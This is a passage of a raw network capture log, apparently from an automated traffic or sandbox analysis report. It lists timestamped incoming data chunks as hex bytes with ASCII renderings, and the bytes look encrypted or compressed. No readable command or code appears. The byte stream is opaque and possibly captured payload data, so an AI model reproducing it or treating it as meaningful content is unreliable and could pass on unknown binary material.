b7 76 8f Data Ascii: &?_m<{BZ;/iQ.Atm)z_W{5QQWT,R;h6av,C:f8\q>%6d"j#V~f{Ky=:(>&Fp}<p(m4V@zyC4un!aVwo2n!F/KVQ-v
2022-08-04 11:37:02 UTC	104	IN	Data Raw: d3 fa 01 91 82 ce 37 53 a5 4e 51 52 52 e6 33 82 b3 be 40 5e 98 8f 60 9f 28 c2 e0 7d 1e cd 80 bb 57 ad bd a7 db b1 0b e8 32 e4 a8 fa 47 00 7b f8 80 fd 7c c8 9f f4 67 68 90 a4 c6 65 1f 1a bb 71 83 e9 b7 58 c8 0f 57 e8 98 0c 07 cc 9d 2b 48 f8 6b d4 db 09 f5 91 43 d7 a8 68 1e e7 58 a2 d2 45 10 8f 3d 1a 29 81 11 28 43 6a 56 9d a8 5a ac c7 97 99 85 5e 9b 36 61 e8 bd 22 e7 ea f0 ee 6a c3 32 d4 83 0c f4 0c d4 a5 3b b8 81 ee 08 af 1d 95 aa 7e f0 c1 d0 99 18 91 63 97 3a 08 6b 6e 0d e9 e7 67 ba 3a 19 80 00 81 71 75 a9 d1 97 29 50 47 94 f4 4d 08 ec 99 f8 8a 0c 96 75 cb b8 c6 98 68 53 07 ab e0 c9 2f d3 6c 03 1f b5 e5 02 d2 98 d5 9a e2 c7 33 de fb 04 88 46 84 64 ff 8e b0 74 ea 16 7c 80 c3 f7 a0 15 fc 96 07 be 8a 66 47 44 fa cc bc 40 bf 5d ac 5e 9d b8 98 0e 14 fd 5f 53 Data Ascii: 7SNQRR3@^`(}W2G{\|gheqXW+HkChXE=)(CjVZ^6a"j2;~c:kng:qu)PGMuhS/l3Fdt\|fGD@]^_S
2022-08-04 11:37:02 UTC	108	IN	Data Raw: ca 49 26 85 3d 4b 04 1d db 14 12 4c 36 f4 b1 90 ad f3 bf 33 17 17 9d d6 50 5e 1b b2 9c 21 0f 75 14 ae cb 28 ee fd 2f cd 35 4e e0 be 9d 12 87 48 29 de e7 ae d1 7e df ef 3d 36 c3 46 21 6a 98 71 e3 af 30 2c 0b d6 18 d3 0d f8 3f f3 fb 68 b1 15 00 6a 62 d5 d9 19 99 49 ee eb 80 9c ad 0e 03 c6 af 9c bb f7 c7 74 f1 cb 99 13 4c a6 c7 c8 7f aa b8 0a eb 7e d8 6f 1b 74 96 f7 7f 6e db 82 fc 8a 8b c3 93 d5 04 54 9b 57 00 5e d2 17 b4 74 5b ed 4f 2b ea 19 99 b5 4d dc a6 86 4f ef 57 3d f1 df d7 ca bd 84 9e cc 8f fd 22 5e 79 2d 9a 33 06 b5 cd 24 e1 19 4f 1f 1f 4d e2 93 cb d7 a7 ce 39 aa 2e 3a 99 86 e0 7b 0c 45 ea 97 8f c9 ad 3f 46 18 c9 09 e5 6e 1e 82 05 5f 1d a2 6c a3 e6 42 49 13 d5 5a 25 7a 25 9b a6 cb 3f f0 fc 23 c7 53 67 53 d7 53 5f a3 11 a4 d5 29 31 77 d6 f0 d1 cc 36 Data Ascii: I&=KL63P^!u(/5NH)~=6F!jq0,?hjbItL~otnTW^t[O+MOW="^y-3$OM9.:{E?Fn_lBIZ%z%?#SgSS_)1w6
2022-08-04 11:37:02 UTC	112	IN	Data Raw: 4f f5 fc 27 f5 5d 5b 7a c2 c4 1b 4f 5a 73 dd b5 4f 86 8c 15 24 42 10 47 c0 fc 62 54 84 3e 66 00 53 11 f3 94 20 8b 45 43 6a 9f ad af bd 7a 86 cc 83 b6 45 eb c5 7a 6e d8 04 c0 c9 2d 09 70 ae e5 cd 85 96 48 77 b2 69 a2 6e 57 e1 9a 5e 44 76 0d ca fb 7f ae c7 47 30 fd 1a ba a0 43 7f 04 7a ac 2b e3 84 65 f7 d9 69 79 dd d0 8f 4c 62 4d a0 fe 58 2a f4 f6 03 8f 1a 83 19 ca 23 96 6f fe 46 69 24 5a 96 ad 71 f3 68 05 d9 34 94 ac 36 2a a1 71 79 0e ad ed 45 4c 8e 79 14 8b 94 36 0a 2c 9e 7f 1f 28 f6 4e 6e d5 be 29 15 16 e3 b9 3e 0d e9 3a 60 f2 65 e7 d7 4c ad e9 9f c2 9c 04 80 84 95 78 f3 c5 27 29 9a ec 6a 4d 32 6e 4a ff da 23 44 25 1b 90 11 d3 f3 4d 53 75 9a 39 0c 97 f2 ff 3a 2f 0b 2d e5 d4 ac db cc d8 b6 b7 96 65 13 08 53 67 b1 9d 68 de 4b ff b8 b7 10 08 48 65 b6 ec 43 Data Ascii: O'][zOZsO$BGbT>fS ECjzEzn-pHwinW^DvG0Cz+eiyLbMX#oFi$Zqh46qyELy6,(Nn)>:`eLx')jM2nJ#D%MSu9:/-eSghKHeC
2022-08-04 11:37:02 UTC	116	IN	Data Raw: cf ca fe 29 eb 46 d6 1d 25 93 8e a1 fe 6d 52 6e 31 53 8c 73 85 a7 3f cb 70 56 fe 92 4f e2 f1 e3 fd 19 3c 10 90 15 ea 4b 4a 5f 73 85 2d e4 78 16 ef 04 06 1a 10 9e 62 a6 ee 02 77 a8 3e cc 6d 18 ad 91 67 32 6b 39 cd a2 ed 88 c5 44 ad 1d 4b 77 21 63 f8 67 30 44 98 b5 e2 ed c1 c9 7b fc fb a4 57 bf e3 61 d1 32 ac fa 14 b6 75 49 ef fa 33 9b d3 78 15 db c4 45 6f 98 f7 0a 2a ad 04 79 f9 ba fc 90 30 5d 8c 45 66 82 57 8c d2 17 4b da da 55 b9 56 4f f9 f8 a1 87 39 77 c4 71 5c 36 1d 05 65 ba 63 75 e7 d1 03 3c f0 68 4e f9 78 ee 4c dd 30 e6 58 00 c4 39 ce 52 6d ef 9b 51 1d b1 67 6e 0d ab 2a dc 9c a6 ac e2 d9 d8 6d 4b 74 d4 b5 6d 64 9a bf ec 3b ec 16 73 80 c0 03 51 8d 4c 00 ea d6 e8 83 84 49 13 a0 eb d8 98 06 f3 1b ad c0 a6 83 c3 1d 29 c6 93 91 b4 08 8c 83 c2 20 42 e1 f4 Data Ascii: )F%mRn1Ss?pVO<KJ_s-xbw>mg2k9DKw!cg0D{Wa2uI3xEoy0]EfWKUVO9wq\6ecu<hNxL0X9RmQgnmKtmd;sQLI) B
2022-08-04 11:37:02 UTC	120	IN	Data Raw: 74 00 69 da fa 71 01 9d f4 4f 13 c3 9c a6 32 33 0d c2 d8 e9 89 f3 7e 62 f0 14 cd 44 24 db 3b 58 df be 2e 42 bc c9 18 f2 9b ac da c6 7f 10 19 44 ea 16 48 48 70 1f 70 18 a1 a0 fc d7 03 29 dc 61 8b dd eb f3 24 89 80 52 dd 17 a8 ee df b3 b5 8b df 92 91 fe 30 df 9b 44 67 e1 2a 0a 71 26 79 ad fe c8 85 c4 75 3c 1a c6 88 26 f8 71 99 bc fd ed 58 92 9a 48 b1 9c 0d a9 81 2d 20 77 02 0b af b0 9c 34 ec 4e b8 1d 77 71 c4 5c 44 fa bf 5c 45 3f 90 7e d3 2a 0f 5b 11 04 bc a5 64 c0 39 f8 8f d2 79 ea 37 c6 42 42 05 6a 5f ee 48 f1 eb dc eb 39 83 2f 6d c0 00 d5 03 2d 9f cf c1 67 11 e9 43 65 9b 54 1c 5f 7b 95 1e ba 86 0c e9 2d 17 b9 b6 c4 12 0c 13 1e 43 c6 70 f5 82 3a 8b 22 9d b0 c0 8e 77 4c cb 0b e4 44 fa c0 e3 c0 50 1a 99 dc 52 48 42 75 fe ee bf 03 5d ce 27 13 d0 f5 43 4f cb Data Ascii: tiqO23~bD$;X.BDHHpp)a$R0Dgq&yu<&qXH- w4Nwq\D\E?~[d9y7BBj_H9/m-gCeT_{-Cp:"wLDPRHBu]'CO
2022-08-04 11:37:02 UTC	124	IN	Data Raw: a9 cf 18 48 59 25 6f f8 20 f0 7d 50 69 c9 4a d7 dd 9d a3 bf 2f 52 ea bb d5 81 b3 44 1e d6 bb 75 bc 53 9b 71 9b 99 9d 8b 7b 52 d7 ba 8d a9 a7 8d f3 09 49 12 f3 94 27 45 2d f6 63 81 e1 ba dc 81 9a 5a 8c 34 39 21 b6 e4 96 31 79 42 5e b3 83 05 87 c6 b4 70 de 08 94 9b a4 a7 c1 5e e5 0d 93 3c cd 19 93 5b ce 79 45 e3 91 ab 24 91 9c 7f 43 61 8d 89 6b 80 26 c0 e8 37 42 37 ea 0d 93 63 42 cd fc 6f 4d 1e 00 61 c8 54 fa ea 0c 6c 05 59 b6 06 71 76 37 39 c5 6d f9 46 31 03 5a 83 7b b0 69 82 93 10 e3 26 18 3a bb ff 93 85 bd 5b 50 ce ed bf c5 22 f6 ec 3b a9 a0 aa 5a af 78 97 53 2c 62 07 30 e1 f9 84 38 0e 15 96 99 2d 2e 2e d0 51 fe 1a da 04 5c d9 54 61 9b 25 06 48 cb bf 0c 84 a2 84 4b ce b8 97 bb 60 52 c2 67 83 d2 d2 15 38 d0 a6 77 1d 00 7a fb dd ee a4 0a 4c 85 0f 7e c9 27 Data Ascii: HY%o }PiJ/RDuSq{RI'E-cZ49!1yB^p^<[yE$Cak&7B7cBoMaTlYqv79mF1Z{i&:[P";ZxS,b08-..Q\Ta%HK`Rg8wzL~'
2022-08-04 11:37:02 UTC	127	IN	Data Raw: f0 ae e1 06 1b 11 47 ca 21 9f dc 34 3e a8 7e 45 dc 17 de ea 63 02 b5 49 cc 35 d1 f1 07 23 7b a5 65 cf 81 61 14 28 82 52 87 f3 a2 4a 40 8c af a8 ca 84 bf 13 51 d0 43 36 d3 01 3b 10 fe 3f f6 8c e0 67 90 dd 22 f5 86 cc 10 c5 c5 cd 35 3a 12 1e 44 fe c0 09 16 4d bd ec f0 96 1e 4f 15 ea 23 da 6b 72 7a 1b 15 93 b9 00 67 b5 6f ce 1d f3 c7 dd 3e f3 a3 21 ba cf e0 df af 86 11 cd b3 fd 94 a0 a2 a9 06 ce 55 bb 85 c7 6d df 5a 06 a7 e4 87 7f 20 bd dd 43 2a 4c 8d e6 66 45 82 c2 48 0d ce 2e 48 e6 61 ab 45 59 9d 96 6f f3 08 b8 ec 3c 53 e6 1e 4c b1 79 97 d9 8f 03 bd 8a 07 ef 72 c7 cb 43 da 8f a7 ff 87 8d 35 d6 42 f0 62 3f 10 5d 1b a9 61 68 1b ab a8 ed 77 ab ef ec 54 de 71 ed 13 de 4c 48 47 5e 82 4b 78 23 bb ec 07 de 10 48 3f 5e 9e 4b 9c 28 b8 8b 03 2f 37 a6 6e 75 1a 5a 76 Data Ascii: G!4>~EcI5#{ea(RJ@QC6;?g"5:DMO#krzgo>!UmZ C*LfEH.HaEYo<SLyrC5Bb?]ahwTqLHG^Kx#H?^K(/7nuZv
2022-08-04 11:37:02 UTC	132	IN	Data Raw: af 42 af db fe f4 9e a3 6d 67 78 6c d3 08 e9 70 5a 6f 7a 7d 46 57 e7 45 a5 ac ae e2 ca 35 6f 24 92 41 4c b3 64 23 06 6a db 6e 2f 0a 8f a4 28 42 86 35 e9 9e c6 d4 30 36 c6 57 d6 f9 92 15 be 8c aa 2c 45 0a e1 1e b0 14 00 e6 1d c4 e1 33 6f ab 03 a9 8d 87 03 f3 89 30 1a 2a 3f 78 e6 01 51 5c 45 33 c5 ab a9 d6 95 b5 0e 21 67 fc ea fe d8 f4 a9 46 5e f8 0d 66 fb 05 cc 59 56 d5 14 bc 85 db a2 55 1d 9c c5 c3 76 4f 8f 1a 3d 61 64 dc 82 c0 19 51 7a 02 48 55 d1 90 80 56 15 02 4c 11 62 fd 1c 98 a0 81 e5 ea 9b 67 86 9f a6 cb 2e 20 9f 2b bb da 08 c0 1b 02 60 46 f8 06 be 5f 58 3b 8f dc f3 d1 c2 dc 19 11 aa 40 d2 5d 94 10 c6 5f aa e9 44 bd 6d 98 42 28 e0 78 af 1e 8c d1 24 3e 3b 50 1a c9 60 2c 1f 87 7a 14 5c 48 a1 aa 89 ba 9b 7d ab 48 05 83 a3 a6 9f 7e f2 a6 72 0a 6c 2f 46 Data Ascii: BmgxlpZoz}FWE5o$ALd#jn/(B506W,E3o0*?xQ\E3!gF^fYVUvO=adQzHUVLbg. +`F_X;@]_DmB(x$>;P`,z\H}H~rl/F
2022-08-04 11:37:02 UTC	136	IN	Data Raw: 05 f1 16 45 63 4f d7 76 ea 4f e1 a9 95 63 71 82 fd 0d 26 53 c8 44 1d 5c 39 d6 1e 11 e3 be 4b ae cd d8 f8 64 be 54 19 92 33 d3 c7 c4 5c ce da 9c 37 84 4a 76 f1 76 a4 b1 90 a4 02 50 14 8e 9b 8e 65 13 3d 0e ae 4f e8 a3 e8 85 eb f8 f8 e0 65 25 c9 d4 48 28 71 47 aa d0 91 59 b8 b3 60 4d 20 51 38 4a 68 31 79 7b a5 ff 99 17 78 40 30 ae 0a d1 6f 2b 06 e3 4f 93 08 74 f3 a4 9f c4 eb ff 0d eb 58 5b bf de 9e df ab db c1 21 b7 3a 61 79 ac bc 25 5e 11 d9 d9 d5 83 24 4b 4a 32 25 80 9d ad 8b f8 95 86 6a 07 00 1b 7f 24 4b 77 e5 91 d8 01 cc 77 5a 9d 4b ad f6 67 12 62 6d 88 b3 1e 75 04 9a 02 ec 7f ca 58 32 f2 50 a1 b6 1d 4d 71 6a 91 e1 fc ff 8a fd 8e 1a b0 1d ef 88 41 d8 2a ac 0f 3b de 65 1d 7e 43 2e ba 92 cb 80 5a 0d 70 d4 31 4f fd 20 c1 aa df ee c3 75 48 9a d0 95 16 e5 c3 Data Ascii: EcOvOcq&SD\9KdT3\7JvvPe=Oe%H(qGY`M Q8Jh1y{x@0o+OtX[!:ay%^$KJ2%j$KwwZKgbmuX2PMqjA*;e~C.Zp1O uH
2022-08-04 11:37:02 UTC	140	IN	Data Raw: d8 44 6e 2d a0 83 87 97 27 42 f0 17 b0 20 cc 55 f3 d9 9f 54 b9 81 42 8e 9d 05 91 1f c4 fd b1 51 0f 2d 35 62 14 9d c5 8c de 64 2b 38 ca d2 6f 33 da 1a 28 42 80 eb 43 1b cb e2 2a 62 b5 0a be 83 8a 27 c5 28 09 d8 0f 89 ef 1e 9e 01 c9 60 48 56 51 90 c8 2d 6a fc c2 e2 e5 41 86 79 b5 01 88 cb 5d a4 c2 5b a5 61 90 1a 77 09 86 65 dc fe d1 98 ef 30 d0 71 0d b7 d7 27 97 db da 30 24 4d e5 c2 db 36 d9 00 5d 0b cd cb f0 00 c1 1c 60 08 9d 5a b0 0c 59 22 a0 9c 9f 73 c3 49 20 f0 f3 3f d7 8c 74 a3 f3 39 76 15 78 d4 c5 c5 d0 90 d9 38 be 7c d5 28 c0 54 0c 0f cc 02 ae 0e 59 a0 5b 79 9c 26 14 16 31 33 d3 f3 69 d5 2c d7 43 c8 25 23 c7 7a d8 81 44 a0 ad 14 82 86 53 33 95 f4 11 e4 e2 c6 74 e4 e5 ff 77 95 62 27 e1 96 c0 62 65 67 5e 49 ae bd 07 77 52 02 14 29 cd 12 39 d1 3e 13 88 Data Ascii: Dn-'B UTBQ-5bd+8o3(BC*b'(`HVQ-jAy][awe0q'0$M6]`ZY"sI ?t9vx8\|(TY[y&13i,C%#zDS3twb'beg^IwR)9>
2022-08-04 11:37:02 UTC	144	IN	Data Raw: d8 e6 49 4f 8e 6d dd b7 8c da 7d 5b de d1 76 fb b9 d2 87 07 11 e5 58 15 3c 1a 17 26 03 13 8f cc b4 ca 69 72 9f 4f 15 c3 c4 2e c8 48 0c dd 25 1a 3b 5f 57 6e 3c 69 12 4c d6 ed fd e4 00 1c 4d f2 dc f9 47 c5 ec 78 ee 04 24 d2 fa 45 f9 fe a6 d8 45 61 77 f2 fe b6 bd 9a 01 02 7c 73 18 d9 6f c9 d6 74 fd 0e ef 12 1a f0 78 39 1b bd d2 cd e4 88 f4 63 e3 08 58 de 63 1b 8a 4e 85 38 40 ec b7 31 44 19 19 ea 2a 1e e2 86 4e 64 57 0a ad cf f7 f2 e2 1d 8c db 72 36 9a ce 80 80 e5 8d 08 87 14 60 65 14 c9 3c 89 35 e3 97 19 33 25 cd a5 ec 19 1b cd 75 3a a4 69 45 4e 68 8f c3 b3 7f a4 ea 45 aa 21 8c 49 8a 11 5c 64 e1 a9 d2 e4 1d 3c cc 19 dc 73 c8 31 e6 ea 8b 93 64 86 97 ef 5f fb 80 02 b9 69 5f a6 0f f2 f0 be bf a0 6f 12 b7 4c f3 79 89 69 e2 69 e4 5c ca 45 05 86 f2 45 a8 29 1b bb Data Ascii: IOm}[vX<&irO.H%;_Wn<iLMGx$EEaw\|sotx9cXcN8@1D*NdWr6`e<53%u:iENhE!I\d<s1d_i_oLyii\EE)
2022-08-04 11:37:02 UTC	148	IN	Data Raw: f5 47 dd 0e fe 12 82 15 55 c3 70 3a d4 54 30 5d e9 81 f9 7b 98 0b 3c 75 e0 98 27 20 bd 34 6d b0 50 6a 4f 72 b1 c6 79 f5 94 ea a5 1d 3c 9a ce 20 ea ca 63 79 df 2d 25 49 6f 0d d0 de b9 56 8d 5a a8 48 20 fa 9b 60 c6 b4 ba 07 8f 22 e9 e2 43 f9 e2 10 e1 c8 e4 88 a8 59 cf ae dc 34 8e 06 f8 1b da db fc 06 0c 6d fd 15 8d 18 ea c8 bf 76 d9 03 e5 31 22 48 e2 33 8a 68 2b 0f 7d 8d 22 63 e0 08 d6 d8 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: GUp:T0]{<u' 4mPjOry< cy-%IoVZH `"CY4mv1"H3h+}"c
2022-08-04 11:37:02 UTC	152	IN	Data Raw: 7e 41 7f 4d 1e f3 1b 91 48 8e 35 c7 52 fb 10 a1 37 ae 06 40 e5 4b 4d 6d 80 61 83 73 ed 27 5d 31 a0 0d e4 07 e6 7b c1 a2 ec b1 d7 0f 62 8b 45 c2 78 7a c3 b0 6e a8 5e a6 a4 8e cb ec 7e cc 7e f2 d5 f2 94 90 b3 8d 7a c6 a9 fa 14 a1 33 ae fa 4b e5 57 4d 61 80 5d 83 77 ed 1b 5d 3d a0 11 e0 07 e2 7b c5 a2 f8 b1 cb 0f 66 e7 c3 8e 6e 86 5e bc a4 9c cb a2 7e 92 7e e0 cb f2 b2 90 d1 8d 90 c6 b7 fa 86 a0 9d ad 9b ea e5 e4 4c f4 80 be 82 d6 ed b8 5c c0 a0 72 3e 07 6f 7b 58 a2 99 b1 6a 0f 83 8b 64 c2 0d 26 c4 29 6e 0f 5f 03 a4 f1 cb 1d 7e fb 7e 57 30 f3 fd 90 2a 8e 27 c7 3c fb 31 a1 56 ae f1 38 e5 16 4d 1e 80 ec 82 0c ed 02 5d 12 a1 48 01 a3 21 b2 02 10 47 8c 20 c3 4d 66 c4 e5 6e d3 5e fb a4 d9 cb d1 7e c7 7e c7 a0 f2 49 90 5e 8d 4f c6 74 fa 75 a0 92 ad 5b aa e5 75 4c Data Ascii: ~AMH5R7@KMmas']1{bExzn^~~z3KWMa]w]={fn^~~L\r>o{Xjd&)n_~~W0*'<1V8M]H!G Mfn^~~I^Otu[uL
2022-08-04 11:37:02 UTC	156	IN	Data Raw: 8c 4c 40 bd f1 dd e8 91 4b 9a b6 0a c1 c8 77 c5 22 5e 4e 73 ef c2 0f f5 2a 1d d7 94 a3 57 4a e2 a1 d8 0c 15 43 1c a2 94 54 33 07 6f 94 d2 60 0f a2 5c 8f ea 9c 0c e8 7f 24 e4 57 e4 d9 41 0c 3e f3 34 13 3e 11 73 ab f7 f7 f0 ba 7a 8c 5c 93 e3 f1 cc 47 45 4c 5b 6c 2a 4c 84 b6 06 bf c8 7d ac 91 5d f6 01 49 c3 f8 5f f5 1c 0e 94 c2 db 0c 54 73 c3 a1 dc 83 47 06 73 ce f9 60 36 a2 11 65 ea 9a be c0 7f 2f 0b e7 e4 21 bd bf 3e 2d 73 a7 f5 f7 ea d8 89 8c b1 9c 6b f2 4b f9 47 42 06 27 b0 4b 37 b7 c9 24 c9 54 88 7f 5f b8 01 3c 3c 02 80 02 83 0b ed 76 5c 3b a0 1a 8f 07 ac 7b 3d a2 05 b2 b7 0f 75 8b 9c c2 42 04 c4 c3 6e 06 5f be a4 f0 cb 93 7e 54 38 91 67 8d 26 c7 c3 fa 37 a1 46 ae f9 75 e5 ff 4c d9 80 2b 83 9a ed 17 5d e8 a0 c3 7b 07 5e 7b 89 a2 b8 b1 2e 3a a0 71 c3 11 Data Ascii: L@Kw"^NsWJCT3o`\$WA>4>sz\GEL[lL}]I_TsGs`6e/!>-skKGB'K7$T_<<v\;{=uBn_~T8g&7FuL+]{^{.:q
2022-08-04 11:37:02 UTC	159	IN	Data Raw: 5b 01 14 6b 27 35 0f 29 d5 8a 3e 43 3e 52 2e 1b 3c f2 95 b0 0f 69 0b e1 1e 1c 71 69 60 59 60 ec 50 5a cf 7b 3a 89 bf 4c bf b9 c0 fd 78 85 c6 d6 47 26 b6 c0 b4 6e 2b 78 1e 1c 61 68 44 11 83 17 fb e9 0d 08 42 bb d9 ad 3a 8d 4c 3c de 86 e3 d1 3a 70 5d 87 38 41 62 d2 97 7e b3 cb 31 4a c3 ce ba ef 6b 9f a6 97 43 61 3b a2 d2 84 0e 7d 3c 6a 65 51 e5 c3 b4 58 6c 35 3c c8 39 d1 a9 5d 15 63 ff 6d 1a a3 c8 c1 ea 20 52 53 1c 1a 9b 66 ff 3f 1d fd 5c fc 0b 20 20 2c 13 b7 ae 6c 2c 5e ab 5a a2 39 4b 9a 91 3a 02 47 3b 84 11 a9 85 b4 0e b2 14 7f 87 76 12 cb 77 73 e9 74 9b b3 3d 7f bc e3 3e bf 1f 59 13 5e b1 4d a2 f5 04 6a c8 ec 8d e2 f8 e7 a2 f5 3a 31 bd 34 55 01 c2 25 db 7e 2e d9 5f b4 3e d2 8c 13 5c e0 46 4a 5f b0 45 39 15 6a 50 80 7e 98 60 83 b1 27 4a b9 16 2f 63 5e 19 Data Ascii: [k'5)>C>R.<iqi`Y`PZ{:LxG&n+xahDB:L<:p]8Ab~1JkCa;}<jeQXl5<9]cm RSf?\ ,l,^Z9K:G;vwst=>Y^Mj:14U%~._>\FJ_E9jP~`'J/c^
2022-08-04 11:37:02 UTC	164	IN	Data Raw: 9b 07 20 3b e4 89 a6 b0 5a 9d f9 3b 7e 37 db 40 16 2e 8a f6 6d 7a 3e 4b a8 e3 1a c0 07 2c 20 f0 9d fb 97 f9 62 31 6a f2 52 8f e1 41 47 0c 4d 1c af 6f ff 3a 87 04 f8 1b 8d f4 81 b9 7e c6 76 f5 86 c9 a6 67 0f 5c cd a6 15 42 cd 96 7f c7 4b 8c bb 50 86 ba df be ee 9f ae 34 5c 28 40 aa 55 41 13 5c 56 56 7f 01 e5 bc 86 50 6a fb 73 6b 2d 92 e3 0c 43 3b 44 6e 20 24 cf e7 27 f3 7e 46 66 f4 06 d8 cb 17 9c 14 b0 41 58 89 b2 c6 51 0c 5d 36 53 a8 74 9f cb 0e cb 44 d3 87 70 08 22 18 71 ae 6e 17 9a 1c c9 5c 48 e0 bf 99 41 d0 55 00 6a 0b 43 c9 3c 11 73 57 ad 3a e7 45 d4 6e ec 35 66 e8 7e c3 f1 80 58 bc 21 0b c3 5c 6d 67 f1 8f 6c 57 63 06 6b 44 ca bb 46 48 fa 25 98 da 8b 98 88 61 80 9d 30 f9 89 6c 88 da 8a 7c ef 91 e6 97 1e 60 87 cb ee ed 7e 3a 3e 44 4c bd 69 1e 1e ba 47 Data Ascii: ;Z;~7@.mz>K, b1jRAGMo:~vg\BKP4\(@UA\VVPjsk-C;Dn $'~FfAXQ]6StDp"qn\HAUjC<sW:En5f~X!\mglWckDFH%a0l\|`~:>DLiG
2022-08-04 11:37:02 UTC	168	IN	Data Raw: bd fd 18 86 61 6f 2b 8f 83 c4 39 19 f4 81 42 f9 69 ac 40 a7 8c 79 f8 51 64 8c 8a 0f bc 31 b3 63 e4 d5 72 ec cd ce cf 66 01 cd ae 15 bc b2 9b f0 cc e2 b3 f1 46 cf 2a ec f3 ab 79 db 8e b9 8f d0 6a 66 65 26 c9 ab 4a c4 7c af 4c c8 3e 28 7d 9e 1c d3 a8 f1 d1 cf 09 e9 bf 82 be f2 8a 30 d4 aa 8c e2 c0 eb be 96 88 88 86 b3 1e 67 c9 d8 aa f8 68 cb fb f4 2e 98 23 48 9d 81 2d 9a 8e cf a6 ac bb 91 32 c4 33 68 a7 12 91 f4 f5 b5 2e b7 c1 27 c7 5a 7c e2 c8 0e dc 56 92 b4 3e 5e 9e 6f d1 3f aa 71 fb 87 6e 74 99 82 a2 78 f8 8c c0 7c 48 95 6a 84 48 9d 6a 8c 48 a9 6a 9c 48 b9 6a ac 48 d1 66 cc f8 b6 94 ec 72 21 94 2c 73 61 71 6b 3b 2e e6 79 3c 57 6d 85 4c 0c a3 7c 5d 92 ed 7e 13 d3 a9 d3 2c c8 c1 f7 3c f2 e0 24 56 4e 55 a2 ae 97 94 8a 72 af 94 aa 72 df 94 ea 71 3f 9c 87 15 Data Ascii: ao+9Bi@yQd1crfF*yjfe&J\|L>(}0gh.#H-23h.'Z\|V>^o?qntx\|HjHjHjHjHfr!,saqk;.y<WmL\|]~,<$VNUrrq?
2022-08-04 11:37:02 UTC	172	IN	Data Raw: 43 8f 1d 28 29 9c d7 38 db e5 7e b8 30 47 c2 61 5e a2 94 5c 25 0c d1 0b 21 36 a8 e9 80 c9 de f0 5c 48 7e 7d 75 c4 39 73 0d c9 7e 0b c0 e3 1d a3 6f 70 30 5c b4 97 5e bb 45 bb 88 06 6b 38 6f 9c 42 c9 26 2c 52 55 e9 86 8c 9d 68 5c a1 86 b0 f2 30 92 01 31 6a 7c c8 40 cb 5c 27 35 a7 3a 8e 98 26 ad 71 41 fb ae 7e 71 c2 fa 8b 02 87 26 eb 61 42 65 8e 2f 50 5b 7c e1 87 95 8d bd b8 a8 e7 3c e5 52 9a 3e ba 3b 82 87 9d 17 ae 4a 91 1a e2 f5 69 ab 47 02 80 23 c9 ea 91 3b ac 64 80 a9 ec a5 83 07 98 7e d7 48 be 8e 8f 9a 2b 60 b9 ac 9c 5c 62 10 50 f0 92 f5 4b b7 69 a0 14 8a a4 dc 59 d9 63 3e e3 08 bd 18 f6 f7 3a 5b 2e 38 63 fa 7e 22 15 60 12 a7 b6 1d 83 0c 9a 3a ab 1f 65 2f 4f 7e bb 8a 7f 84 78 f1 71 4e 7d 91 ee 0d ac 3a 5a d9 c6 73 54 f5 82 93 8c 54 86 72 10 7a a9 4e 31 Data Ascii: C()8~0Ga^\%!6\H~}u9s~op0\^Ek8oB&,RUh\01j\|@\'5:&qA~q&aBe/P[\|<R>;JiG#;d~H+`\bPKiYc>:[.8c~"`:e/O~xqN}:ZsTTrzN1
2022-08-04 11:37:02 UTC	176	IN	Data Raw: 79 92 7e fe 8b 2f 0e e8 e2 ea ce 5d 16 bb 33 5e 3f 45 e6 dd b9 8e 17 a3 4b fe 9e 64 af 3e 58 0d 6c 9b 22 dc 81 9a 83 b4 72 3b d4 dc 7e ba 2e f6 1c 41 43 ac 3c bb de 79 78 d1 60 2b 27 87 88 b1 6a 89 7e 61 61 46 6c f6 c1 d1 be 5d f7 0f 9e 44 fb 4c 9e 84 e9 40 13 66 b9 e7 7c fc 6c 74 a8 4c 2f 10 8e 5d f9 16 09 e5 8c fc c3 7c 09 50 b1 ac 6a 41 b3 1c 8c 0e e3 74 53 51 f9 dc 4a 20 88 70 25 d7 00 5c a9 5a 15 b4 21 63 fb e3 f9 3d 68 38 c8 85 8c cd 6a aa 46 1d 89 87 39 d9 69 3d 33 da 7c df be 09 87 42 7f ad 73 ea e9 59 8a 7a 27 60 04 7c 49 ea 50 fe e6 00 ea cb 80 a0 c9 44 de 1f 5f 63 da 7c f8 fc 7f a6 35 fb 30 c4 05 a6 ae dc ac 41 71 15 68 b3 a7 e8 65 f1 8d 97 7f 09 cd 7b aa 25 e6 e7 fe 1b a0 04 5e d5 5a 9b c0 9b 46 24 7c 19 8c 62 84 85 4a 0c 78 b5 a2 86 34 62 22 Data Ascii: y~/]3^?EKd>Xl"r;~.AC<yx`+'j~aaFl]DL@f\|ltL/]\|PjAtSQJ p%\Z!c=h8jF9i=3\|BsYz'`\|IPD_c\|50Aqhe{%^ZF$\|bJx4b"
2022-08-04 11:37:02 UTC	180	IN	Data Raw: 9e 4b dc 54 a8 87 90 b1 1c d6 41 f6 83 dd 71 31 20 eb 89 a1 65 63 e2 3b b4 4e 24 aa 36 ee c8 7e 15 cc 20 b4 b4 0a c9 79 6f f0 6b b9 b2 03 d2 fa 96 b5 c4 33 e9 e6 4e 0f b9 b6 d8 f8 9a 47 84 67 9d 3c a8 7f 13 0f c4 bf 52 ea a7 cd e3 46 3e 9c d1 ce c4 ad 77 d2 72 d0 e1 be ec 99 25 b7 d5 dd c0 ee c2 b1 a9 b4 19 89 7a 0e 6e 02 53 f2 a7 e7 0a bf 06 93 b2 40 ee ca 66 d0 8e 0e fb 59 9e 4a 7f 59 80 5e 08 a1 91 39 57 a2 c0 47 78 27 f0 e3 57 ce 9a c5 50 47 d1 84 84 a2 f4 e2 52 d8 28 d2 96 e4 00 33 9e 14 68 bc ad 6a 50 43 1b 81 2e de f8 de eb 0b 4c e2 82 ca a4 e5 c3 6f 9c 8b b3 e1 8a 6b 76 5b 80 32 8e 6f 2f e8 5c fb 8a f4 d0 6f f4 4d 34 d5 df 63 40 a2 92 ae 07 ab 50 49 8e 92 a9 e7 c1 93 cc c8 80 15 41 f4 e0 cd bf 2c 90 52 6a 56 cc 20 8c c6 9c aa ac e3 a2 